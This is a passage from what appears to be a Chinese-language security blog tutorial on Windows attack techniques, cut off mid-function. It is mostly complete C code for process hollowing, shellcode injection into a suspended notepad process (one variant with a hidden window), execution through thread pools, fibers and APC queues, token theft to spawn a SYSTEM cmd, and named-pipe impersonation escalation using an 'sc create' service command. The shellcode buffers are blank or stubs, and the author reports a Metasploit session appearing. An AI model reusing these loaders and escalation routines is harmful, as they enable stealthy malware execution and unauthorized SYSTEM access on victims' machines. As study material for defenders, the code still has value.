	ReadFile(hFile, fileBuffer, fileSize, NULL, NULL);
	CloseHandle(hFile);

	// 获取Dos头
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
	// 获取NT头
	PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)&fileBuffer[pDosHeader->e_lfanew];
	// 获取可选PE头
	PIMAGE_OPTIONAL_HEADER pOptionHeader = &pNtHeader->OptionalHeader;

	// 获取NtUnmapViewOfSection函数地址
	pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");

	// 判断文件预期地址是否被挂起进程占用
	if (pOptionHeader->ImageBase == (SIZE_T)remoteImageBase)
	{
		NtUnmapViewOfSection(pi.hProcess, remoteImageBase); // 清空挂起进程内存数据
	}

	// 向挂起进程分配空间
	LPVOID lpAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pOptionHeader->ImageBase, pOptionHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!lpAddress) return 0;
	printf("lpAddress %p\n", lpAddress);

	// 写入文件头
	WriteProcessMemory(pi.hProcess, (LPVOID)lpAddress, fileBuffer, pOptionHeader->SizeOfHeaders, NULL);

	// 获取节
	PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHeader);
	// 循环拷贝各节
	for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++, pSectionHeader++)
	{
		if (pSectionHeader->SizeOfRawData != 0)
		{
			LPVOID lpBaseAddress = (LPBYTE)lpAddress + pSectionHeader->VirtualAddress;
			WriteProcessMemory(pi.hProcess, lpBaseAddress, fileBuffer + pSectionHeader->PointerToRawData, pSectionHeader->SizeOfRawData, NULL);
			printf("SectionAddress %p\n", lpBaseAddress);
		}
	}


	// 获取挂起进程的入口点
#ifdef _WIN64
	// 64位从Rcx寄存器获取
	DWORD64* addressOfEntryPoint = &ctx.Rcx;
	addr = ctx.Rdx;
#else
	// 32位从Eax寄存器获取
	DWORD* addressOfEntryPoint = &ctx.Eax;
	addr = ctx.Ebx;
#endif

	// 改变入口点
	*addressOfEntryPoint = (SIZE_T)((LPBYTE)lpAddress + pOptionHeader->AddressOfEntryPoint);
	WriteProcessMemory(pi.hProcess, (PVOID)(addr + sizeof(SIZE_T) * 2), &pOptionHeader->ImageBase, sizeof(PVOID), NULL);

	// 设置线程上下文
	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);	// 恢复线程

	printf("Process Hollowing Complete\n");
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	return 0;
}

  上面代码不是非常的完美,只有极少部分的程序能加载,毕竟在加载pe方面。还需注意很多地方,主要学习的是一个思路

傀儡进程

  傀儡进程的创建原理就是修改某一进程的内存数据,向内存中写入shellcode代码,并修改该进程的执行流程,从而执行shellcode代码。这样,进程还是原来的进程,但执行的操作却替换了。

  process hollowing对于 shellcode 注入来说有点过于重量级,因为镂空一个 PE 文件写入 shellcode 动静较大。所谓的镂空就是使用 NtUnmapViewOfSection 卸载正在执行的PE文件在内存中的映像。所以在进程 shellcode 注入的时候,更好地选择可能是不镂空进程,而直接修改进程的 EIP/RIP ,指向 shellcode 在内存中的起始地址。

  执行流程如下
  1.调用CreateProcess创建进程,并设置进程标志为CREATE_SUSPENDED进行挂起
  2.使用VirtualAllocEx申请一个可读、可写、可执行的内存空间
  3.调用WriteProcessMemory将Shellcode数据写入刚申请的内存中。
  4.调用GetThreadContext,设置获取标志为CONTEXT_FULL,即获取新进程中所有线程的上下文。
  5.修改线程上下文中EIP/RIP的值为申请的内存的首地址,通过SetThreadContext函数设置回主线程中。
  6.调用ResumeThread恢复主线程。
  其中64位进程应该修改Rip,32位进程应该修改Eip。
  示例代码如下

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{

	// shellcode
	unsigned char shellcode[] = "";

	// shellcode大小
	int size = sizeof(shellcode);

	// 初始化结构体
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));
	si.cb = sizeof(si);

	BOOL bRet = FALSE;
	// 创建挂起进程
	bRet = CreateProcessA(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
	if (!bRet)
	{
		printf("CreateProcess Error");
		return;
	}

	// 在进程中申请空间
	LPVOID lpAddress = VirtualAllocEx(pi.hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!lpAddress)
	{
		printf("VirtualAllocEx Error");
		return;
	}
	
	// 写入shellcode数据
	bRet = WriteProcessMemory(pi.hProcess, lpAddress, shellcode, size, NULL);
	if (!bRet)
	{
		printf("WriteProcessMemory Error");
		return;
	}

	// 获取线程上下文
	CONTEXT threadContext;
	threadContext.ContextFlags = CONTEXT_FULL;
	bRet = GetThreadContext(pi.hThread, &threadContext);
	if (!bRet)
	{
		printf("GetThreadContext Error");
		return;
	}

//	修改线程上下文中EIP / RIP的值为申请的内存的首地址
#ifdef _WIN64 
	// 64位    
	threadContext.Rip = (DWORD64)lpAddress;
#else     
	// 32位
	threadContext.Eip = (DWORD)lpAddress;
#endif

	// 设置挂起进程的线程上下文
	bRet = SetThreadContext(pi.hThread, &threadContext);
	if (!bRet)
	{
		printf("SetThreadContext Error");
        return;
	}

	// 恢复主线程
	ResumeThread(pi.hThread);
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
}

  运行后,msf上线,notepad已成为傀儡进程
  
  看了其他师傅的写法,直接挂起后注入

#include <Windows.h>
#include <stdio.h>

// 64位和32位ZwCreateThreadEx函数声明不一样
#ifdef _WIN64
// 64位下
typedef DWORD(WINAPI* ZWCREATETHREADEX)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else 
// 32位下
typedef DWORD(WINAPI* ZWCREATETHREADEX)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

int main()
{
	// shellcode
	unsigned char shellcode[] = "";

	// shellcode大小
	int size = sizeof(shellcode);

	// 初始化结构体
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));
	si.cb = sizeof(si);

	BOOL bRet = FALSE;
	// 创建挂起进程
	bRet = CreateProcessA(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
	if (!bRet) return 0;

	// 在进程中申请空间
	LPVOID lpAddress = VirtualAllocEx(pi.hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE);
	if (!lpAddress) return 0;

	// 写入shellcode数据
	bRet = WriteProcessMemory(pi.hProcess, lpAddress, shellcode, size, NULL);
	if (!bRet) return 0;

	// 获取ZwCreateThreadEx函数地址
	ZWCREATETHREADEX ZwCreateThreadEx = (ZWCREATETHREADEX)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwCreateThreadEx");

	// 远程线程注入
	HANDLE hRemoteThread = NULL;
	ZwCreateThreadEx(&hRemoteThread, PROCESS_CREATE_THREAD, NULL, pi.hProcess, lpAddress, NULL, 0, 0, 0, 0, 0);
	if (hRemoteThread == NULL) return 0;

	return 0;
}

线程池

  这里就只写两种,代码灵感来源。我看好多网上都写的这种方法。

  后来花了几个小时,学了线程池,发现有很多很多方法去执行shellcode。希望大家多多思考吧。

  线程池的方式让我们不再使用CreateThread,更多的线程池api。这些线程池api都可以替代CreateThread

  第一种,创建工作项

#include <stdio.h>
#include <Windows.h>

int main()
{
    unsigned char shellcode[] = "\x55\x64";

    // 获取大小
    int size = sizeof(shellcode);
    LPVOID lpAddress = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAddress, shellcode, size);
    
    // 创建一个线程池工作项
    PTP_WORK pwk = CreateThreadpoolWork(lpAddress, NULL, NULL);
    SubmitThreadpoolWork(pwk);
    WaitForThreadpoolWorkCallbacks(pwk, FALSE);
    CloseThreadpoolWork(pwk);
	return 0;
}

  第二种,定时器

#include <stdio.h>
#include <Windows.h>

int main()
{
    unsigned char shellcode[] ="\x55\x64";

    // 获取大小
    int size = sizeof(shellcode);
    LPVOID lpAddress = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAddress, shellcode, size);
    
    PTP_TIMER pti = CreateThreadpoolTimer(lpAddress, NULL, NULL);

    ULARGE_INTEGER ulRelativeTimer;
    ulRelativeTimer.QuadPart = (LONGLONG)-(10000000);
    FILETIME ftRelativeTimer;
    ftRelativeTimer.dwHighDateTime = ulRelativeTimer.HighPart;
    ftRelativeTimer.dwLowDateTime = ulRelativeTimer.LowPart;
    SetThreadpoolTimer(pti, &ftRelativeTimer, 0, 0);

    Sleep(2000);
    CloseThreadpoolTimer(pti);
	return 0;
}

内存映射

  先使用NtCreateSection创建一块共享内存,然后在用NtMapViewOfSection,让恶意进程和目标进程都映射这块共享内存,随后恶意进程将shellcode写入这块共享内存中。因为是共享内存,所以到这里已经实现了shellcode注入进目标进程,最后在目标进程将shellcode运行即可。

  工作原理如下,图源来自idiotc4t
  

  1.创建一块共享内存,内存大小=shellcode的大小,准确来说内存大小=shellcode内存对齐后的大小

#include <stdio.h>
#include <Windows.h>

// 定义函数原型
typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
typedef NTSTATUS(NTAPI* pNtCreateSection)(PHANDLE SectionHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);

int main()
{
	unsigned char shellcode[] = "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B";

	pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(GetModuleHandle("ntdll"), "NtCreateSection");
	pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)(GetProcAddress(GetModuleHandle("ntdll"), "NtMapViewOfSection"));

	SIZE_T size = sizeof(shellcode);
	LARGE_INTEGER sectionSize = { size };
	HANDLE hSection;
	// 创建一个可写可执行的共享内存块
	NtCreateSection(&hSection, SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
	printf("Section %p\n", hSection);
}

  已创建可写可执行的共享内存,句柄为0x100
  

  2.让本进程和目标进程映射这块共享内存,目标进程我选择的是notepad

PVOID pLocalView = NULL;
// 本进程和共享内存进行映射                                                              ViewUnmap=2
NtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalView, 0, 0, 0, &size, 2, 0, PAGE_READWRITE);
printf("pLocalView %p\n", pLocalView);

STARTUPINFO si = { 0 };
PROCESS_INFORMATION	pi = { 0 };
si.cb = sizeof(si);
// 隐藏窗口
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;

// 创建挂起进程
CreateProcess(NULL, "\"notepad\"", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
PVOID pRemoteView = NULL;
// 目标进程和共享内存进行映射     
NtMapViewOfSection(hSection, pi.hProcess, &pRemoteView, 0, 0, 0, &size, 2, 0, PAGE_EXECUTE);

  3.最后将shellcode写入这块共享内存中,使用apc注入运行shellcode

// 复制shellcode到节中
memcpy(pLocalView, shellcode, sizeof(shellcode));
printf("pRemoteView %p", pRemoteView);

// apc注入
QueueUserAPC((PAPCFUNC)pRemoteView, pi.hThread, 0);
ResumeThread(pi.hThread);

  使用processhacker来查看,本进程地址为0x630000,shellcode已被成功写入
  
  查看目标进程0x1E0000,可看到内存块成功映射
  
  完整代码

#include <stdio.h>
#include <Windows.h>

// 定义函数原型
typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
typedef NTSTATUS(NTAPI* pNtCreateSection)(PHANDLE SectionHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);

int main()
{
	unsigned char shellcode[] = "\x55\x64";

	pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(GetModuleHandle("ntdll"), "NtCreateSection");
	pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)(GetProcAddress(GetModuleHandle("ntdll"), "NtMapViewOfSection"));

	SIZE_T size = sizeof(shellcode);
	LARGE_INTEGER sectionSize = { size };
	HANDLE hSection;
	// 创建一个可写可执行的共享内存块
	NtCreateSection(&hSection, SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
	printf("Section %p\n", hSection);

	PVOID pLocalView = NULL;
	// 本进程和共享内存进行映射                                                              ViewUnmap=2
	NtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalView, 0, 0, 0, &size, 2, 0, PAGE_READWRITE);
	printf("pLocalView %p\n", pLocalView);

	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION	pi = { 0 };
	si.cb = sizeof(si);
	// 隐藏窗口
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;

	// 创建挂起进程
	CreateProcess(NULL, "\"notepad\"", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	PVOID pRemoteView = NULL;
	// 目标进程和共享内存进行映射     
	NtMapViewOfSection(hSection, pi.hProcess, &pRemoteView, 0, 0, 0, &size, 2, 0, PAGE_EXECUTE);

	// 复制shellcode到节中
	memcpy(pLocalView, shellcode, sizeof(shellcode));
	printf("pRemoteView %p", pRemoteView);
	
	// apc注入
	QueueUserAPC((PAPCFUNC)pRemoteView, pi.hThread, 0);
	ResumeThread(pi.hThread);
}

纤程

  纤程官方解释,简单来说线程是进程内部的实体,那么纤程则又是纤程内部的实体。

  使用纤程的步骤
  1.使用ConvertThreadToFiber 将主线程转换成纤程,这是必须的一步
  2.使用CreateFiber创建一个纤程,并指向shellcode地址
  3.最后使用SwitchToFiber,运行前面我们创建的纤程

  示例代码

#include <stdio.h>
#include <Windows.h>

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] = "";

    // 获取大小
    int size = sizeof(shellcode);
    
    LPVOID lpAddress = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAddress, shellcode, size);
    // 将线程转换成纤程
    ConvertThreadToFiber(NULL);
    // 创建一个新的纤程
    PVOID fiber = CreateFiber(0, lpAddress, NULL);
    // 执行纤程
    SwitchToFiber(fiber);
	return 0;
}

提权

  提权顾名思义就是提升自己的权限,不论是从administrator提升到system,还是普通用户提示到administrator都算提权。

令牌窃取

  令牌窃取与伪造,英文名:Token Impersonation/Theft。这里不讲令牌的详细知识。说一下主令牌(primary token)和模拟令牌(impersonation token)的区别。

  主令牌应该叫进程令牌,模拟令牌应该叫线程令牌。主令牌只能附加给进程,模拟令牌只能附加给线程。换言之,如果使用主令牌,必须启动一个新的进程。而想在当前进程获取一个高权限,可以使用模拟令牌,将其附加给一个新的线程。

  使用主令牌,提权到system的流程如下
  
  1.用户以管理员权限打开此进程,这样才能启用SE_DEBUG_NAME权限。
  判断进程是否有管理员权限,只需要调用IsUserAnAdmin()函数,头文件为<shlobj_core.h>。并启用SE_DEBUG_NAME权限代码如下

#include <Windows.h>
#include <stdio.h>
#include <ShlObj_core.h>
#include <stdlib.h>

// 启用调试权限
BOOL EnableDebugAbility()
{
	// 令牌句柄
	HANDLE hProcessToken = NULL;
	// 1.打开进程访问令牌
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
	{
		printf("error open process token\n");
		return FALSE;
	}

	// 2.取得SeDebugPrivilege特权的LUID值
	LUID luid;
	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		printf("error lookup value\n");
		return FALSE;
	}

	// 3.调整访问令牌特权
	TOKEN_PRIVILEGES token;
	token.PrivilegeCount = 1;
	token.Privileges[0].Luid = luid;
	// 使特权有效
	token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	if (!AdjustTokenPrivileges(hProcessToken, FALSE, &token, 0, NULL, NULL))
	{
		printf("error adjust token\n");
		return FALSE;
	}

	CloseHandle(hProcessToken);
	return TRUE;

}

int main(int argc, char* argv[])
{

	// 启用调试权限失败 或者 没有管理员权限
	if (!EnableDebugAbility() || !IsUserAnAdmin())
	{
		printf("enable debug error or not admin\n");
		return;
	}

	return 0;
}

  2.使用OpenProcess,以PROCESS_QUERY_INFORMATION,权限打开。获取到进程句柄

// 进程pid
DWORD pid = atoi(argv[1]);
// 获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProcess)
{
	printf("OpenProcess Error\n");
	return;
}

printf("OpenProcess Sucess\n");

  从图中可看到可打开winlogon进程,无法打开wininit进程
  
  原因在于wininit是个保护进程PsProtectedSignerWindows
  
  要想获取保护进程的句柄,只需要OpenProcess,以PROCESS_QUERY_LIMITED_INFORMATION权限打开即可

// 获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProcess)
{
	hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
	if (!hProcess)
	{
		printf("OpenProcess Error\n");
		return;
	}
}

  成功获取
  
  3.使用OpenProcessToken获取目标进程的访问令牌。先看定义

BOOL OpenProcessToken(
    HANDLE  ProcessHandle,	// 进程句柄
    DWORD   DesiredAccess,	// 令牌的请求类型
    PHANDLE TokenHandle		// 返回令牌句柄
);							// 成功返回非0 失败返回0

  DesiredAccess这里只需要填写TOKEN_QUERY 和TOKEN_DUPLICATE即可

// 获取令牌句柄
HANDLE hToken = NULL;
if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
{
    printf("OpenProcessToken error\n");
    return;
}

  4.使用DuplicateTokenEx来复制一个主令牌,此函数可以创建主令牌或模拟令牌,DuplicateTokenEx定义

BOOL DuplicateTokenEx(
	HANDLE                       hExistingToken,	// 令牌句柄
	DWORD                        dwDesiredAccess,	// 令牌访问权限 使用MAXIMUM_ALLOWED允许获取的最大权限
	LPSECURITY_ATTRIBUTES        lpTokenAttributes, // 指向SECURITY_ATTRIBUTES指针 这里填NULL即可
	SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,// 令牌的模拟等级 这里填SecurityImpersonation
	TOKEN_TYPE                   TokenType,			// 令牌类型
	PHANDLE                      phNewToken			// 接收新令牌的句柄指针
);													// 成功返回非0 失败返回0

  TokenType的值有两种: 主令牌 TokenPrimary、模拟令牌 TokenImpersonation

// 复制令牌
HANDLE hNewToken = NULL;
if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED,NULL, SecurityImpersonation,TokenPrimary,&hNewToken))
{
    printf("DuplicateTokenEx error\n");
    return;
}

  函数成功执行后,HANDLE hNewToken将保存新复制的令牌
  5.最后使用复制的令牌去创建一个进程,这里使用CreateProcessWithTokenW,它和CreateProcess的用法非常相似

BOOL CreateProcessWithTokenW(
	HANDLE                hToken,				// 令牌句柄
	DWORD                 dwLogonFlags,			// 登录选项 这里填0
	LPCWSTR               lpApplicationName,	// 进程名
	LPWSTR                lpCommandLine,		// 命令行参数
	DWORD                 dwCreationFlags,		// 创建进程方式
	LPVOID                lpEnvironment,		// 填NULL
	LPCWSTR               lpCurrentDirectory,	// 填NULL
	LPSTARTUPINFOW        lpStartupInfo,		// 启动进程相关信息
	LPPROCESS_INFORMATION lpProcessInformation  // 子进程的相关信息
);												// 成功返回非0 失败返回0
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);

// 使用新令牌创建进程
bRet = CreateProcessWithTokenW(hNewToken, 0, L"cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (!bRet)
{
	printf("CreateProcessWithTokenW error\n");
	return;
}

  成功调用后,会打开一个新的cmd窗口
  

  参考文章
  Windows访问令牌窃取攻防技术研究
  详解令牌篡改攻击(Part 1)
  详解令牌篡改攻击(Part 2)
  Windows API and Impersonation Part 1 - How to get SYSTEM using Primary Tokens
  Windows API and Impersonation Part 2 - How to get SYSTEM using Impersonation Tokens

命名管道

  先来看一个简单的例子,管道服务端代码

#include <Windows.h>
#include <stdio.h>
#include <ShlObj_core.h>

#define PIPENAME "\\\\.\\pipe\\elevate"

int main()
{
	// 创建命名管道
	HANDLE hPipe = CreateNamedPipe(
		PIPENAME,
		PIPE_ACCESS_DUPLEX,
		PIPE_TYPE_MESSAGE | PIPE_WAIT,
		PIPE_UNLIMITED_INSTANCES,
		0, 0, 0, NULL
	);

	if (!hPipe)
	{
		printf("[-] Create Named Pipe Fail\n");
		return 0;
	}
	printf("[+] Create Named Pipe %s\n", PIPENAME);

	printf("[+] Waiting for pipe connection...\n");
	// 等待客户端连接
	ConnectNamedPipe(hPipe, NULL);

	// 接收客户端数据 
	char buffer[256] = { 0 };
	ZeroMemory(buffer, sizeof(buffer));

	if (!ReadFile(hPipe, buffer, sizeof(buffer), 0, NULL))
	{
		printf("[-] Disconnect Named Pipe\n");
		return 0;
	}
	printf("[+] RecvData is %s", buffer);

	DisconnectNamedPipe(hPipe);
	CloseHandle(hPipe);
	return 0;
}

  运行后,新cmd窗口输入echo hi > \\.\pipe\elevate。管道服务端将会收到消息
  
  而管道提权,最重要的一个api就是ImpersonateNamedPipeClient,它允许进程模拟另一个进程的访问令牌,另一个进程连接到命名管道并将数据写入此管道

BOOL ImpersonateNamedPipeClient(
  [in] HANDLE hNamedPipe		// 命名管道句柄
);								// 成功返回 非0 失败返回 0

  只有管道服务端能调用这个函数,并且服务端必须要有SeImpersonatePrivilege权限。

  管理员拥有SeImpersonatePrivilege权限
  

  很有趣的是,我在阅读DuplicateTokenEx文档,在末尾的备注发现了这么一段话

  The following is a typical scenario for using DuplicateTokenEx to create a primary token. A server application creates a thread that calls one of the impersonation functions, such as ImpersonateNamedPipeClient, to impersonate a client. The impersonating thread then calls the OpenThreadToken function to get its own token, which is an impersonation token that has the security context of the client. The thread specifies this impersonation token in a call to DuplicateTokenEx, specifying the TokenPrimary flag. The DuplicateTokenEx function creates a primary token that has the security context of the client.

  微软提示使用ImpersonateNamedPipeClient后,要将本线程中的线程令牌使用DuplicateTokenEx转换成进程令牌。之后就可以使用CreateProcessWithTokenW用新令牌创建新进程了。这里和前面的令牌窃取流程都是一样的

  示例代码

#include <Windows.h>
#include <stdio.h>
#include <ShlObj_core.h>

#define PIPENAME "\\\\.\\pipe\\elevate"

int main()
{
	// 创建命名管道
	HANDLE hPipe = CreateNamedPipe(
		PIPENAME,
		PIPE_ACCESS_DUPLEX,
		PIPE_TYPE_MESSAGE | PIPE_WAIT,
		PIPE_UNLIMITED_INSTANCES,
		0, 0, 0, NULL
	);

	if (!hPipe)
	{
		printf("[-] Create Named Pipe Fail\n");
		return 0;
	}
	printf("[+] Create Named Pipe %s\n", PIPENAME);

	printf("[+] Waiting for pipe connection...\n");
	// 等待客户端连接
	ConnectNamedPipe(hPipe, NULL);

	// 接收客户端数据 
	char buffer[256] = { 0 };
	ZeroMemory(buffer, sizeof(buffer));
	
    // 如果没有这行 提权失败
	if (!ReadFile(hPipe, buffer, sizeof(buffer), 0, NULL))
	{
		printf("[-] Disconnect Named Pipe\n");
		return 0;
	}
	printf("[+] RecvData is %s", buffer);

	// 拿到命名管道客户端线程令牌
	BOOL ret = ImpersonateNamedPipeClient(hPipe);
	// 获取令牌失败
	if (!ret)
	{
		printf("[-] Impersonate Client Fail\n");
		return 0;
	}
	printf("[+] Impersonate Client Sucess\n");
	HANDLE token;
	
	// 获取线程令牌
	ret = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token);
	if (!ret)
	{
		printf("[!] Open Thread Token Fail\n");
		return 0;
	}
	printf("[+] Open Thread Token Sucess\n");

	HANDLE hNewToken;
	// 将线程令牌转换成进程令牌
	ret = DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken);
	if (!ret)
	{
		printf("[!] Duplicate Token Fail\n");
		return 0;
	}
	printf("[+] Duplicate Token Sucess\n");

	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	// 使用新令牌创建进程
	ret = CreateProcessWithTokenW(hNewToken, 0, L"cmd.exe", NULL, 0, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (ret) return 0;

	printf("[+] Get System Sucess\n");


	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(hNewToken);
	CloseHandle(token);
	DisconnectNamedPipe(hPipe);
	CloseHandle(hPipe);
	return 0;
}

  如果一个以system权限运行的cmd,执行echo hi > \\.\pipe\elevate ,连接上我们写的命名管道服务端,岂不是就能获取到system权限。

  这里我用psexec -i -s cmd,运行了一个system权限的cmd
  
  先运行管道服务端,在到system权限下的cmd,执行echo hi > \\.\pipe\elevate,成功弹出了一个的cmd,并且是system权限
  
  到这里命名管道提权的原理就结束了,下面介绍msf的getsystem,也使用了命名管道提权。cs官网也对msf的getsystem技术进行了简答

  msf的getsystem中的命名管道提权流程

创建一个以system权限运行的windows服务
生成一个进程,该进程创建一个命名管道等待来自服务的连接
windows服务启动,与命名管道建立连接
命名管道成功连接后,该进程调用ImpersonateNamedPipeClient,以system用户创建模拟令牌

  可看出它的提权流程,只比我们多了一步,即创建windows服务。

  如何让创建的服务以system权限运行,是一个问题。经过我后面的测试,发现默认情况下,使用sc命令创建的服务就拥有system权限。

  sc create pipe BinPath= "C:\Windows\System32\cmd.exe /c echo hacker > \\.\pipe\elevate" DisplayName= "pipe" && sc start pipe,创建一个服务名为pipe的服务,再启动此服务。此时弹出新的cmd窗口,拥有system权限。
  
  存在pipe服务,要删除此服务请用sc delete pipe
  
  最开始,我的创建服务代码如下

// 使用sc创建服务并启动
system("sc create pipe BinPath= \"C:\\Windows\\System32\\cmd.exe /c echo hacker > \\\\.\\pipe\\elevate\" DisplayName= \"pipe\" && sc start pipe");
printf("[+] Waiting for pipe connection...\n");
// 等待客户端连接
ConnectNamedPipe(hPipe, NULL);

  运行后,管道并没有产生连接。仔细想想当服务启动的时候,管道都还没建立起来,自然而然也就不会连接成功。

  但如果将创建服务代码写到ConnectNamedPipe(hPipe, NULL);后面,这就会造成命名管道阻塞,一直在等待客户端连接,而后面的创建服务代码也不会执行。虽然可以采用非阻塞式命名管道,但我觉得太麻烦了。

  不就是要让创建命名管道后,再执行创建服务嘛。创建一个新的进程,或者线程问题不就解决了吗,示例代码

// 进程启动服务
BOOL ServiceStartByProcess()
{
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);
	// 隐藏窗口
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;

	// 创建服务名为pipe并启动
